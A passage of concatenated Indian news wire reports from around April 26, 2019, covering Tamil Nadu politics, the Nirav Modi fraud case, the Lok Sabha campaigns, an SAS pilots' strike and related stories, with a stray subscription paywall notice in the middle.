audience." He is yet to cast any actor for the film. "There are media reports I have cast a certain actor for my film, but it is not like that at all. Till now, I haven't taken a decision about it. I have finished the scripting of the film but there are many other factors on which we are still working. So, once it will be completed, then I will be able to tell the media that when I am going to begin shooting of the film," he added. Bhandarkar's last outing was "Indu Sarkar". Chennai, April 26 : Creating a positive perception and a strong political brand even for a mass hero-politician is not an easy job, say brand and perception strategists. "Today when actors float a party, their on-screen popularity gives them a leg up. But portability of their movie image to real life politician is difficult," Harish Bijoor, brand expert and founder of Harish Bijoor Consults Inc, told IANS. According to him, people will start asking so what if an actor comes to politics. An actor can bring the screen imagery to the physical world but after that it is difficult to convert that into votes. This is where perception positioning of politicians comes into play and the experts in this field are in good demand not only from politicians but also from people who what to build up an image before joining a political party. Actor-politician Kamal Haasan, after an insipid initial election campaign and unclear positioning during the Lok Sabha polls in Tamil Nadu, turned decisive to position himself as a third alternative to AIADMK and DMK only towards the end, political analyst Raveendhran Dhuraiswamy told IANS earlier. "While last minute change in positioning may fetch him some additional votes, Kamal Haasan should have clearly positioned him as an angry new politician from the start. He began tweeting against AIADMK government and that momentum should have been maintained," perception and political strategist Jhon Arokiasamy told IANS. Arokiasamy was instrumental in building former Union Health Minister and PMK leader Anbumani Ramadoss' brand perception during the 2016 Assembly elections in Tamil Nadu. "Unlike a product brand, a human brand is a persona brand. A persona brand needs to be real and alive than an inanimate brand. Political branding is more dynamic," Bijoor said. According to him, while branding a human being, the inherent qualities of that person should match with what is being portrayed. If there is a clash between the two images then distrust come in, as brand is basically all about trust. A variance of 10-15 per cent between the real persona and the branded persona is fine but when it exceeds that, problems arise, warned Bijoor. "What we do is the perception positioning of a politician. For a human being, image and perception are important. Image is a long-term journey and it cannot be constructed. Brand perception is short term and audience centric," added Arokiasamy. A politician should be portrayed close to what he can deliver. He cannot be portrayed as person who can deliver the sky when he can deliver only the earth, Bijoor said. In the case of movie actors, the problem they would face on entering politics is the transition of their on-screen image to real life politician. According to Arokiasamy, mass heroes will appeal to all sections of the society. Once a hero starts to appeal to masses, then his movie image is cultivated carefully and transition of that image to politics may not be a big problem. The problems the current day actor-politicians face is: political ideology, their stand on an issue, party structure, caste and cash. Arokiasamy said Kamal Haasan said his party's ideology was the middle-path while Rajinikanth had said he would follow spiritual politics. "People who backed the AIADMK founder and actor M.G. Ramachandran saw him as their leader and not the Dravidian ideology he was propagating while he was in DMK," former AIADMK MP K.C. Palanisamy told IANS. Telugu Desam Party founder N.T. Rama Rao (NTR) was seen as an avatar of Hindu God Rama after his movie roles. "Actors will not find the political space difficult where there are no ideologies," Arokiasamy said. On the importance of being politically correct on a burning issue, Arokiasamy cited Rajinikanth's statement after the police shooting at anti-Sterlite Copper protestors which brought down his image. Rajinikanth, after visiting the injured, said Tamil Nadu will become a graveyard if there are protests against every issue. The other problem for actors is that movie charisma will not click against cash-for-votes scam which is now widespread in Tamil Nadu. There is a segment which is not influenced by cash. To appeal to that segment brand building, perception positioning gains importance, said the two experts. The role of a perception strategist does not end with designing various campaigns but also includes convincing his client to change his lifestyle in line with the brand perception that he wants to be known. "I had a politician-client who wanted to be known as a champion of rural areas in a North Indian state. However, his lifestyle was divorced from the rural lifestyle. He was living in a huge house with multiple swimming pools and other luxuries. He was advised to change his lifestyle to be in line with the populace with whom he wants to be identified. He did change," Bijoor said. "Even aspiring politicians too want to build up an image before joining a political party. Sometime back a professional specializing in the real estate sector came to me to brand him so that when he joins a political party, the reception will be at an elevated level," Arokiasamy said. (Venkatachari Jagannathan can be contacted at v.jagannathan@ians.in) New Delhi, April 26 : The Supreme Court on Friday stayed the proceedings of an inquiry commission probing the death of Tamil Nadu Chief Minister J. Jayalalithaa at Apollo Hospitals in Chennai in 2016. The hospital group had moved the apex court challenging a Madras High Court order, which allowed the Arumugasamy Commission to continue the probe. A bench headed by Chief Justice Ranjan Gogoi decided to stay further proceedings of the inquiry commission. The AIADMK-led Tamil Nadu government had commissioned the inquiry into the circumstances leading to the death of Jayalalithaa on December 5, 2016. The petition filed by the hospitals group said: "Thirty-two doctors of the team treating the late Chief Minister were summoned to depose before the Commission... "(They) were badgered, humiliated and jointly filed an affidavit before the Madras High Court highlighting the impropriety of the proceedings before the Commission." The counsel for the hospital contended that its reputation has suffered severely as a result of the ongoing probe. "The Commission was conducting the proceedings in an unfair, prejudicial and biased manner which was fortified by the fact that the orders/minutes of proceedings were specifically being leaked...," said the Apollo Hospital petition. The petition also said that the Madras High Court erred in not recognising the fact that the case of inquiry involved complex medical issues, which is beyond the scope of comprehension of the Commission, as it is not equipped to determine either the circumstances under which the treatment, as opted for, was administered, or even the correctness of the treatment. The judicial inquiry was ordered by the K. Palaniswami government seven months after the Chief Minister's death. Suspicion on the death of Jayalalithaa was fuelled by Deputy Chief Minister O. Panneerselvam. He said that he was not allowed to see her in the hospital and there was something suspicious about the circumstances around her death. Panneerselvam later cracked a deal with his successor Chief Minister Palaniswami on the merger of his faction with the AIADMK and was brought on board as Deputy Chief Minister. A pre-condition to this merger was a full-fledged inquiry into Jayalalithaa death. The Commission was seen as a political tool to target V.K. Sasikala, the now jailed AIADMK matriarch's long-time aide. She had unlimited access to Jayalalithaa at the hospital. The Commission, headed by a retired high court judge, was supposed to complete the inquiry within three months but it could not and it is still in progress. The Apollo hospital halfway through the inquiry said that a 21-member expert medical board be constituted to impart knowledge on medical procedures and protocols of the treatment to the panel. The hospital had moved the Madras High Court, seeking a stay on the panel's proceedings, and the inquiry shall only begin post constitution of the medial board. The High Court dismissed its plea and also rejected the argument that a retired judge was not competent to deal with medical complexities involved in the treatment of Jayalalithaa. Although the High Court observed that the Commission's procedures seemed strange, it also observed that some averments made on behalf of the Commission were disturbing and unwarranted. New Delhi, April 26 : The growing breed of Indian developers will ensure nine out of 10 apps on Google Play Store are from India within the next 5-10 years, GGVC Managing Partner Hans Tung has said. Speaking at the eighth annual India Internet Day (iDay) conference organised by TiE Delhi-NCR here on Thursday, Tung was part of leading Chinese VCs who shed light on the start-up landscape in China and the promise India holds. "The focus of the event was to encourage and help innovative Internet-centric start-ups in learning how to unbox the full potential of their ambitious ventures," Rajan Anandan, President-TiE Delhi-NCR, said in a statement. TiE is a non-profit, global community welcoming entrepreneurs from all over the world. Anant Maheshwari, President, Microsoft India, said the value of India is in that bottom of the pyramid of SMEs (small and medium enterprises) which is the start-up ecosystem. Deepinder Goyal, Founder and CEO, Zomato, urged entrepreneurs to draw value from outside the country. Six curated start-ups presented their unique products to a panel of investors as part of "Launchpad". Over 1,000 delegates, including start-ups, top unicorns, industry leaders, policy makers and other stakeholders attended the event. Kabul, April 26 : Pro-government forces in Afghanistan have killed more civilians in the first three months of 2019 than the Taliban and other insurgent groups, the UN said in a report. It was the first time since the UN began tracking civilian casualties in Afghanistan over a decade ago that the pro-government forces have caused a majority of deaths, reports the Guardian on Friday. Overall 581 civilians were killed and 1,192 injured in Afghanistan between January and March, down nearly a quarter from a year earlier, and at the lowest level since 2013. That fall was largely driven by a reduction in suicide attacks, the UN said. Pro-government forces caused 305 civilian deaths, and opposition fighters 227 deaths. Another 49 deaths were caused by crossfire or could not be attributed. The US' Afghanistan peace envoy, Zalmay Khalilzad, tweeted that he was "distressed by reports of civilian casualties" but did not directly address the UN figures. Khalilzad, who has been tasked with brokering a deal with the Taliban, added that the only way to stop the blood flow was a ceasefire. Afghan President Ashraf Ghani's government blamed insurgents for causing the deaths by using human shields. "The real reason behind the number of civilian casualties is armed militants who use civilians as their shield and use their homes as their battleground," the presidential information coordination centre said on Twitter. The report also detailed attacks on education and healthcare sites. The UN recorded 18 instances in which schools were targeted, the majority by Taliban or other insurgents. Among the most serious were attacks on girls' schools in Farah province, setting buildings and equipment on fire. Gurdaspur : , April 26 (IANS) Dismissing the possibility of any threat to Sunil Jakhar, the Congress candidate for the Gurdaspur Lok Sabha seat, against BJP's Sunny Deol, Punjab Chief Minister Amarinder Singh on Friday said that the latter was just a "filmi fauji" with no ground support in the constituency. Talking to the media here after accompanying Jakhar for filing his nomination papers, Amarinder said: "He (Sunny Deol) is a filmy fauji, while I am a real fauji." Amrinder, who comes from the erstwhile royal family of Patiala and is still addressed as 'Maharaja Saab' in certain quarters, remained a Captain in the Army in the 1960s. "We will defeat him, he is no threat to Sunil (Jakhar) or the Congress," he declared. Describing Sunny Deol as an "ageing actor whose acting career was over", Amarinder said "he will come and go". "Sunny might have played 23 Punjab's (Regiment's) Brigadier Kuldip Singh Chandpuri in (movie) "Border", but that does not make him a real soldier, said the Chief Minister. The Bharatiya Janata Party this week announced that Sunny would be its candidate for the Gurdaspur seat in north Punjab. Earlier, the BJP MP from Gurdaspur was another actor, Vinod Khanna. The seat is presently held by Jakhar, who is the Punjab Congress president. When it was pointed out that Sunny Deol's latest movie "Blank" was set for release, Amarinder said: "He will draw a blank (in the elections)." He expressed confidence that the Congress will win all the 13 seats in the state, including Gurdaspur. Amarinder said he had gone through Punjab and the mood across the state was upbeat and totally in favour of the Congress. "There was absolutely no competition to the party." Asked to clarify on the Congress high command's decision to pin responsibility on ministers and MLAs for the electoral performance of the party candidates in these elections, the Chief Minister said it had been decided to hold ministers and MLAs responsible for victory or defeat of Congress candidates in their respective constituencies. "If a minister is unable to ensure victory, he will be dropped, and MLAs who fail to deliver will not get the ticket next time," he said, explaining the new "performance-led culture" in the party. RAF Typhoons Arrive in Estonia for Baltic Policing Mission The page you requested is only available to subscribers. 1. If you are a Premium Service subscriber, please log in here to access this story: Log-in : Password : 2. If you are not a subcriber, you can: -- buy access to this page: unlimited access for seven days costs 3.00 EUR + VAT (at 20%) if applicable. Clicking on the "Ok" button below will place the item in your shopping cart and return you to our home page, where you will be able to select additional stories. -- select additional stories and services from our home page and pay for them at the same time. -- see your shopping cart. You can also see the contents of your shopping cart at any time by clicking on the "Order" tab on the navigation bar at the top of any page, or by clicking on the "Your order" light blue link in the top right-hand corner of our home page, immediately under the log-on box. London, April 26 : A London court on Friday extended till May 24 the judicial custody of fugitive diamantaire Nirav Modi, rejecting his bail plea as it suspected that he could flee Britain and "interfere with witnesses". The Westminster Magistrates' Court ordered the Metropolitan Police to put him under custody till next hearing on May 24. The 48-year-old businessman, wanted in India in connection with Rs 13,500-crore Punjab National Bank (PNB) fraud case, was arrested from Holborn in London on March 19. Since then he has been fighting extradition proceedings in London. Nirav Modi was produced before the court via videoconferencing from Wandsworth prison in south-west London. The businessman and his uncle Mehul Choksi are being investigated by the Enforcement Directorate and the Central Bureau of Investigation after the PNB alleged that they cheated it of Rs 13,500 crore with the involvement of a few bank employees. Both fled India before the details of the fraud emerged in January 2018. The ED on February 26, 2018 attached property worth Rs 147 crore of Nirav Modi and his associate companies in connection with the case. This is the third time when the businessman's bail was rejected by the court. Judge Emma Arbuthnot on March 29 had granted the Metropolitan Police custody of Nirav Modi. Arbuthnot is the judge who ordered the extradition of former Kingfisher Airlines boss Vijay Mallya in December. Nirav Modi's first bail plea was rejected on the second day of his arrest. In May 2018, the ED filed chargesheets and sought non-bailable warrants against Nirav Modi and Choksi. Agra, April 26 : While politicians are busy promising the moon, ordinary folks in Agra continue to battle with water scarcity. Water pipelines, being old and rusted, are frequently bursting, snapping supply, even as the mercury continues to soar. Agra, home to the majestic Taj Mahal, attracts more tourists than any other city in India. "The problem is of management. A basic need like clean potable water is not on the priority list of the politicians. Yamuna continues to flow dirty, carrying all the industrial effluents and toxics posing health hazards," river activist Shravan Kumar Singh lamented. Each year during the lean summer months, the Yamuna water level goes alarmingly low, disrupting supply from the Jeoni Mandi Water Works. Against an estimated 350 mld water requirement, the two water works are able to supply only around 225 mld. During peak summer, the demand goes much higher which is met by ubiquitous submersible pumps, tube wells and hand pumps. "Each year the water table is going down... A demand repeatedly made for a barrage on Yamuna river has not received the attention of the state government," said River Connect Campaign activist Ranjan Sharma. For the past fortnight, dozens of localities in the city have been struggling with water shortages. The municipal water works has arranged tanker supplies, but these are inadequate and erratic, say citizens of these neighbourhoods. Queues at the hand pumps continued to lengthen as municipal authorities failed to resume water supply to far flung colonies. "For more than a week we have not had a drop of water in the taps. The main pipeline from the Sikandra Water Works is damaged. No one knows how much time they will take to repair the leak," said an angry resident of Awas Vikas colony. The crisis was compounded when work on shifting a 1,200 mm pipeline in Bodla area began a week ago, after it was damaged. This prevented supply of water to nearly 1.5 lakh citizens in various colonies, including Kedar Nagar. Another pipeline leaked in Madia katra area on Thursday morning after a valve got choked in Delhi Gate area. Thousands of litres of water went into drains. The engineers fixed the problem late in the evening. Agra has two water works, one at Jeoni Mandi, more than a hundred years old, and the other at Sikandra, which is just 25 years old and uses an Israeli technique to clean water. The pipeline from this needs extensive repairs. "Till the repair works are done, citizens will need to look for alternative sources," a corporator said. The raw water intake at the local water works improved after the Ganga Jal pipeline was commissioned a few months ago. But this pipeline bringing Ganga Jal to Agra from Bulandshahar district is yet to be connected to the Jeoni Mandi Water Works. Half the water received is going waste into the river. With nine MLAs, two MPs and one Mayor, the Bharatiya Janata Party (BJP) has come under heavy fire from thirsty citizens. "They (BJP) really have no time for such mundane issues, as right now they are all busy bringing Modi back to power," said Munish Kumar Verma, a shopkeeper at Phullatti Bazar. New York, April 26 : Just tweaking algorithms and infusing Machine Learning (ML) into them will not protect us from misinformation and fake news on social media platforms, warn researchers. Technological fixes cannot stop countries from spreading disinformation on social media platforms like Facebook and Twitter, said Erik Nisbet and Olga Kamenchuk of The Ohio State University. Policymakers and diplomats need to focus more on the psychology behind why citizens are so vulnerable to disinformation campaigns, they stressed. "There is so much attention on how social media companies can adjust their algorithms and ban bots to stop the flood of false information," said Nisbet, Associate Professor of Communication. "But the human dimension is being left out. Why do people believe these inaccurate stories?" Governments the world over are fighting the menace of fake news, including political interference from nation-state actors. In a paper published in The Hague Journal of Diplomacy, Nisbet and Kamenchuk, Research Associate at Ohio State's Mershon Center for International Security Studies, discussed how to use psychology to battle these disinformation campaigns. The researchers discussed three types of disinformation campaigns: identity-grievance, information gaslighting and incidental exposure. Identity-grievance campaigns focus on exploiting real or perceived divisions within a country. "The Russian Facebook advertisements during the 2016 election in the US are a perfect example," Nisbet said. "Many of these ads tried to inflame racial resentment in the country." Another disinformation strategy is information gaslighting, in which a country is flooded with false or misleading information through social media, blogs, fake news, online comments and advertising. A recent Ohio State study showed that social media has only a small influence on how much people believe fake news. "But the goal of information gaslighting is not so much to persuade the audience as it is to distract and sow uncertainty," Nisbet added. A third kind of disinformation campaign simply aims to increase a foreign audience's everyday, incidental exposure to "fake news." "The more people are exposed to some piece of false information, the more familiar it becomes, and the more willing they are to accept it," Kamenchuk said. "If citizens can't tell fact from fiction, at some point they give up trying." These three types of disinformation campaigns can be difficult to combat, Nisbet noted. "It sometimes seems easier to point to the technology and criticize Facebook or Twitter or Instagram, rather than take on the larger issues, like our psychological vulnerabilities or societal polarization," he said. But there are ways to use psychology to battle disinformation campaigns. More generally, diplomats and policymakers must work to address the political and social conditions that allow disinformation to succeed, such as the loss of confidence in democratic institutions, the researchers noted. Surat, April 26 : The Surat Sessions Court on Friday pronounced Narayan Sai, son of self-styled godman Asaram, guilty in a 2013 rape case. The quantum of sentence will be announced on April 30. Narayan Sai, 40, was arrested from Pipli near Haryana's Kurukshetra in December 2013 after two sisters from Surat filed rape complaints against him and his father Asaram in October that year. His father, Ashumal Harpalani alias Asaram, was convicted for life for raping a minor girl in Rajasthan last year. One of the sisters had accused Sai, who also claims himself a godman, of repeated sexual assaults when they were living at Asaram's ashram between 2002 and 2005 in Surat. The victim's elder sister had also made a similar allegation against Asaram while she was living at an Ahmedabad ashram between 1997 and 2006. They had lodged separate complaints against Sai and Asaram. Police had booked Asaram and his son Narayan Sai on charges of rape, sexual assault, illegal confinement and other offences. Four of Sai's aides were also arrested in the case. Two chargesheets were filed against 35 persons, while the prosecution had produced 53 witnesses and defence had 14 witnesses. The arrests of Asaram and son had sparked a series of attacks on key witnesses. Three witnesses, closely associated with them, were killed, including a Rajkot-based Ayurveda doctor Amrut Prajapati, who was shot dead outside his clinic. A cook and an aide of Asaram named Akhil Gupta was shot dead in his home town Muzaffarnagar in Uttar Pradesh and Kripal Singh, a witness in the Jodhpur rape case, died a day after he was shot at in Shahjahanpur in Uttar Pradesh. Meanwhile, Narayan Sai is also facing charges of attempting to bribe policemen of Rs 8 crore for helping him in getting bail and acquittal. Mumbai, April 26 : His party may not be contesting the ongoing Lok Sabha polls but Maharashtra Navnirman Sena (MNS) chief Raj Thackeray has ensured significant attention as he campaigns in Maharashtra against the BJP and its ally Shiv Sena. So far, he has addressed around a dozen rallies in different parts of the state and his prime targets of attack are Prime Minister Narendra Modi and BJP President Amit Shah, at whom he takes embarrassing potshots. In his campaign, which goes to favour the Opposition Congress-NCP combine, Raj Thackeray has introduced a hitherto-unseen experiment of an audio-video element which punctuates his hard-hitting speeches. "The response we are getting is tremendous. Even people in other states want Raj saheb to hold such rallies. There's nothing new in the content, but we are putting things in the correct perspective which has caught the public psyche," MNS spokesperson Nitin Sardesai told IANS. In the meantime, videos of Raj Thackeray's rallies are now being translated, dubbed or subtitled in various languages. The MNS was floated by Raj Thackeray in 2006 after parting ways with the Shiv Sena due to differences with his cousin Uddhav Thackeray. In the 2014 Lok Sabha elections, the party had fielded nine candidates in Maharashtra but none of them won. In 2009, the MNS polled 4.6 per cent of the total votes. Raj Thackeray's rallies, despite there being no MNS candidate in fray this time, have not gone unnoticed, either by the ruling BJP-Shiv Sena or the Opposition Congress-NCP coalitions. Chief Minister Devendra Fadnavis has compared him to someone "dancing uninvited in a wedding." However, seething ally Shiv Sena President Uddhav Thackeray took a feather out of his estranged cousin's hat by playing an audio-video tape at a couple of his rallies on Rahul Gandhi's comments on Veer Savarkar. BJP state spokesperson Shain N. C. dismisses Raj Thackeray's rallies as "inconsequential" since he's not even in the electoral fray. "The audio-videos need to be authenticated. Remember, it's the same Raj Thackeray who once praised PM Modi. So now his credibility is questionable," Shaina told IANS. She added that the voters will realize the difference between the time-tested party BJP and the "cheap gimmicks indulged in by the likes of Raj Thackeray. We have a lot to say, but will do it at the appropriate time," she said. NCP's Nawab Malik is happy at Raj Thackeray's efforts to rally support for the Opposition. "See, he's exposing the lies of the government, the BJP and PM Modi. This is good and will be welcomed by all those who want truth and probity in public life," Malik told IANS. State Congress Vice-President Ratnakar Mahajan said for Raj Thackeray, "it's a kind of a self-cleansing exercise since he was once a diehard fan of Modi and Gujarat model of development" in 2014. "He has realized, maybe belatedly, how the BJP government played a fraud on the people in past five years. We have been exposing them continuously since demonetization and also play audios-videos of their fake claims in our party training camps," Mahajan told IANS. Agartala, April 26 : Around 1,020 troopers of the counter-insurgency trained Tripura State Rifles (TSR) left for West Bengal on Friday to perform election related duties in the Trinamool Congress ruled state, official said here. "Following the instructions of the Union Home Ministry and the Election Commission (EC), 12 companies comprising 1,020 TSR troopers moved to West Bengal by train on Friday to perform the parliamentary election related duties," an official of the state Home Department told IANS, wishing not to be named. He said the TSR troopers, who would be part of the central forces in West Bengal, would perform election related duties till the completion of the Lok Sabha elections in that state on May 19. Two commanding officers and few other middle rank officers are leading the TSR personnel. Of the 42 Lok Sabha constituencies in West Bengal, elections were held in 10 seats in the first three phases, while the remaining 32 seats will go to the polls in the subsequent four phases on April 29, May 6, May 12 and May 19. "The 12 companies of TSR were supposed to move to West Bengal on April 19, but due to the postponement of polling in the Tripura East Lok Sabha constituency from April 18 to April 23, the movement of the security personnel was delayed," the official said. Last week, the EC had deferred elections in the Tripura East seat from April 18 to April 23, citing "unconducive security situation". The official said that two TSR companies comprising 170 troopers had performed election related duties in Nagaland, where polling in the lone Lok Sabha seat was held in the first phase on April 11. Tripura's elite counter-insurgency trained India Reserve (IR) battalions of the TSR had provided security during the 2010 Commonwealth Games in New Delhi and performed election related duties in more than 12 states, including Bihar, West Bengal, Madhya Pradesh, Rajasthan, Chhattisgarh, Jharkhand and the northeastern states. The TSR was constituted in March 1984 to deal with militancy. Seventy-five per cent of its personnel are from Tripura, while the remaining come from across the country. Currently the TSR has 12 battalions out of which nine are IR. The Union Home Ministry has recently sanctioned two more TSR battalions. "The IR battalions can be posted anywhere in the country as and when the union Home Ministry asks the concerned state government," a senior TSR official said. Stockholm, April 26 : A total of 1,409 Scandinavian Airlines (SAS) pilots from Sweden, Norway and Denmark went on strike on Friday, causing 673 cancellations so far and over 70,000 passengers affected. SAS warned that the continuing strike could affect a further 100,000 passengers over the weekend, reports Xinhua news agency. In the early hours of Friday, last-minute salary negotiations between SAS and the Swedish Air Line Pilots Association broke down. As a result, 492 Swedish SAS pilots went on strike, followed by 545 Norwegian and 372 Danish colleagues. "It is deeply regretful that the pilots strike will have a negative impact on our customers. SAS is prepared to continue to negotiate, but if the requirements were to be met, they would have very negative consequences for the company," SAS Director of Communications Karin Nyman said. SAS is the leading airline in Scandinavia, operating a third of all flights to and from the region. According to SAS, about 70 percent of the company's flights are affected. Flights operated by SAS Ireland and SAS partner airlines will not be affected. Friday's strike follows unsuccessful salary negotiations between SAS pilots and their employer. According to media reports, an 11th-hour bid offered on Thursday night included a salary increase of 2.2-2.3 percent, significantly lower than the 13 percent the pilots' union is demanding. SAS has offered passengers travelling on Friday, Saturday, Sunday and Monday the opportunity to rebook their journey free of charge. It's unclear how long the strike will last, so passengers travelling in late April and early May are advised to check for updates on the situation. Sidhi : , April 26 (IANS) Prime Minister Narendra Modi on Friday attacked Madhya Pradesh Chief Minister Kamal Nath, alleging that the state's Congress government misappropriated funds meant for providing nutrition to poor children and pregnant women. Addressing an election rally in Sidhi parliamentary constituency, Modi said: "The Congress government launches welfare schemes for the poor and farmers and then misappropriates funds for those programmes. Right from Delhi to Bhopal, corruption is the norm the Congress party follows. But your 'chowkidar' is alert and he would spare none, be it top leaders or their confidants." "The government of 'chowkidar' at the Centre sends funds to the state government to provide nutrition to the poor tribal children and pregnant women, so that they give birth to healthy babies. But despite the presence of an alert 'chowkidar', these audacious lot of politicians created 'Tughlaq Road scam'." The Prime Minister said that Tughlaq Road in Delhi is the adress of top Congress leaders, and it is there that the money transported in gunny bags was seized. "The money for women and children was stolen and transported to Delhi, which the top Congress leader used in electioneering," Modi alleged. He also questioned the poll promise of bringing loan waiver scheme for farmers in Madhya Pradesh. "They (Congress) made false promise of waiving farm loans...the loans haven't been waived off, but they are lying and telling the whole nation that they waived loans... They are habitual liars." Accusing the state government of going back on its poll promise, Modi said: Today, the Madhya Pradesh government is presenting a trailer of Congress culture. One feels shaken to see the sin committed by them in the last six months in MP, Chhattisgarh and Rajasthan. These very people have destroyed the country over the last 70 years." The first round of polls in the state will take place during the fourth phase of general elections on April 29, when polling will take place in six parliamentary constituencies. Mumbai, April 26 : Twelve luxury cars belonging to absconding diamantaires Nirav Modi and his uncle Mehul Choksi have been auctioned for Rs 3.29 crore, an ED statement said here on Friday. The ED had last year attached the vehicles under the Prevention of Money Laundering Act (PMLA). The vehicles were e-auctioned on Thursday through the Metal Scrap Trade Corporation Ltd following an order of the special PMLA Court last month. Among the 13 vehicles put up for auction, 10 out of 11 vehicles belonging to Nirav Modi and his group companies were sold. Two vehicles owned by his uncle Choksi were also sold. The details of the one unsold vehicle have not been disclosed. The government will earn revenues worth Rs 3,28,94,293 from the e-auction. The vehicles put up for e-auction on Thursday yesterday included a silver Rolls Royce with a reserve price of Rs 1,33,00,000, a Porsche starting at Rs 54,60,000, a red Mercedes Benz starting at Rs 14,00,000, a white Mercedes Benz starting at Rs 37,80,000, and a BMW starting at Rs 9,80,000. The list also included two Honda Brio cars, a Toyota Innova, a Honda CRV, a Toyota Fortuner, a Skoda Superb Elegance, a Toyota Corolla Altis and a Toyota Innova Crysta. Of the 13 vehicles, the BMW and Toyota Innova Crysta belonged to Choksi while the rest were owned by Nirav Modi, his family and his group companies. Nirav Modi and Choksi are accused in the Rs 13,000 crore fraud that involved companies owned by them raising finances against letters of undertaking issued by the Punjab National Bank (PNB). The duo fled the country before the scam came to light in 2018. As part of the crackdown on them, the ED last month demolished Nirav Modi's palatial beach bungalow in Alibaug in adjoining Raigad district and auctioned off his artworks fetching around Rs 59 crore, besides attaching their homes, showrooms, plants and other properties in different parts of India. Choksi has acquired the citizenship of Antigua and Barbados while Nirav Modi was arrested in London recently. India has initiated extradition proceedings against both of them. New Delhi, April 26 : The previous BJP government in Madhya Pradesh, led by Shivraj Singh Chouhan, performed "poorly and underwhelmingly" on almost all governance parameters, including employment, healthcare facilities and agriculture infrastructure, according to a report by the Association for Democratic Reforms (ADR). The survey released on Friday was conducted between October and December 2018 in the state then ruled by the Bharatiya Janata Party (BJP), before it was replaced by the Congress in December last year. The Madhya Pradesh Survey Report 2018 stated that voters' priorities were neglected by the government. "This is quite clear from the fact that the government has performed poorly and underwhelmingly on all top ten governance issues as rated by the voters of Madhya Pradesh," said the ADR report. It said that employment, higher price realisation for farm products and better healthcare facilities were top priorities for voters and the government performed "below average" on all three. In rural areas, where another concern was availability of electricity for agriculture, the government scored 1.96 on a scale of 5 on employment, 1.81 on farm product prices and 1.81 on availability of electricity for agriculture, the report said. "In addition, the government has performed poorly on providing agriculture subsidy for seeds/ fertilisers (1.66 out of 5) and availability of water for agriculture (1.67) in rural Madhya Pradesh," it added. According to the survey, employment, healthcare and better roads were major concerns for urban voters. "The performance of the government on urban voters' priorities of better employment opportunities (1.88 on a scale of 5), better hospitals/ primary healthcare centres (1.85), and better law and order was rated as below average. "In addition, the government has performed poorly on better roads (1.88) and traffic congestion (1.96) in urban Madhya Pradesh," the report said. Chennai, April 26 : The Chief Whip of the ruling AIADMK S. Rajendran on Friday met Tamil Nadu Assembly Speaker P. Dhanapal and submitted a petition to take appropriate action against three legislators for their anti-party activities. Speaking to reporters here, Rajendran said he had met the Speaker and submitted a petition to take action against three legislators - A.Prabhu representing the Kallakuruchi constituency, Rathinasabapathy (Aranthangi) and V.T. Kalaiselvan (Virudhachalam) for their anti-party activities. Rajendran said the party had got more proof of their such prejudicial activities and had, hence, given a petition to the Speaker. He said photographs of the legislators with the Amma Makkal Munnetra Kazhagam (AMMK) General Secretary T.T.V.Dhinakaran have also been been submitted. All this has set off speculation here about whether there is going to be a rerun of the earlier disqualification of 18 legislators by the Speaker. The by-elections for 18 assembly constituencies were held on April 18, while the remaining four will vote on May 19. In the 234 member Tamil Nadu assembly, the ruling AIADMK has 114 members (including the Speaker), the DMK have 88, the Congress are eight, while the IUML and the Independent member represent one constituency each. The AIADMK has to win just four seats in the by-elections to attain a simple majority. Factoring in the possible switching of camps by some lawmakers, the AIADMK has to win seven or eight seats in order to be safe. On the other hand, the DMK has to win all the 22 seats to take the tally, along with its allies - Congress and IUML - to 119, or just one more than that required for a simple majority. The DMK President M.K. Stalin said during his campaign that there will be a change of government in Tamil Nadu, once there is a change in the Centre after the ongoing Lok Sabha elections. Analysts are of the view that even if Dhinakaran's AMMK wins a couple of seats, the DMK's dream of coming to power by toppling the AIADMK government may not come true. When queried whether the AIADMK is seeking action against the three legislators as it was not confident of winning the required number of seats in the by-elections, Rajendran said the party will win all the seats it is contesting. New Delhi, April 26 : Aam Aadmi Party's East Delhi Lok Sabha candidate Atishi has filed a criminal complaint against Gautam Gambhir, Bharatiya Janata Party (BJP) nominee for the same seat, for holding two voter cards. "I have filed a criminal complaint against the BJP candidate from East Delhi Gambhir over his possession of two voter IDs in two separate constituencies of Delhi -- Karol Bagh and Rajinder Nagar," she said on Friday. The complaint was filed on Thursday under Section 155(2) at the Tis Hazari Court, seeking direction for police investigation into offences punishable under Sections 17 and 31 of The Representation of the People Act, 1950 and Section 125A of The Representation of the People Act, 1951. The plea is likely to be heard by a Metropolitan Magistrate at the Tis Hazari Court Complex on May 1. "As per Section 17 of The Representation of the People Act, 1950, no person is entitled to be enrolled as a voter in more than one constituency. Section 31 makes false declaration in the matter of inclusion or exclusion of voter rolls punishable with up to one year in prison," Atishi told the media here. Consequently, any such declarations made in order to obtain registration as a voter in two or more constituencies is a criminal offence punishable with imprisonment up to one year, or fine, or both, she added. Atishi also said that Gambhir has stated in his affidavit, submitted to the Returning Officer at the time of nomination, that he is only registered to vote in the Assembly constituency Rajinder Nagar-39, Part No 43, Serial No 285, EPIC No SMM1357243. "However, it was discovered after the scrutiny period had concluded that Gambhir was also registered to vote in Assembly Constituency Karol Bagh-23, Part No 86, Serial No 87, EPIC No: RJN1616218," she added. "This fact was also deliberately and wilfully concealed by Gambhir during the time of filing and scrutiny of his nomination, as witnessed by the Returning Officer, presumably to avoid rejection of his nomination," the AAP leader said. The concealment of information provided in an election affidavit is also punishable under Section 125A of the said Act, with up to six months jail time, she added. Gambhir's nomination was held up due to objections raised by the AAP candidate due to technical errors in the affidavit. "Unfortunately for the public, a candidate who is unaware of the law and legal processes has been parachuted into the fray to extract a benefit from his stardom. But the party and the candidate will pay the cost of unpreparedness and inexperience through eventual disqualification and possible jail term for Gambhir," she said. Chief Minister and AAP Chief Arvind Kejriwal and spokesperson Saurabh Bhardwaj urged people not to vote for Gambhir. "People should know that the votes going to Gambhir will be wasted as his candidature will be disqualified sooner or later," Bhardwaj said. Delhi will go to the polls on May 12. New Delhi, April 26 : A court here on Friday asked the Delhi Police to file an Action Taken Report (ATR) on a private complaint filed against Congress President Rahul Gandhi for making an objectionable speech against Prime Minister Narendra Modi. Additional Chief Metropolitan Magistrate Samar Vishal listed the matter for further hearing on May 15. The court was hearing advocate Joginder Tuli's plea requesting the court to direct the SHO of Parliament Street Police Station to register an FIR under Section 124A (sedition) of the Indian Penal Code against Gandhi. In his complaint, Tuli said that Gandhi, while addressing a public meeting at Jantar Mantar on October 6, 2016 after completing his "Kisan Yatra" in Uttar Pradesh, made a statement against Modi, accusing him of hiding behind the blood of soldiers and doing "dalali" on their sacrifices. Tuli had, in 2016, registered a complaint against Gandhi for his objectionable speech but no action was taken so he filed a plea in the court. "The words used in the speech by Rahul Gandhi amount 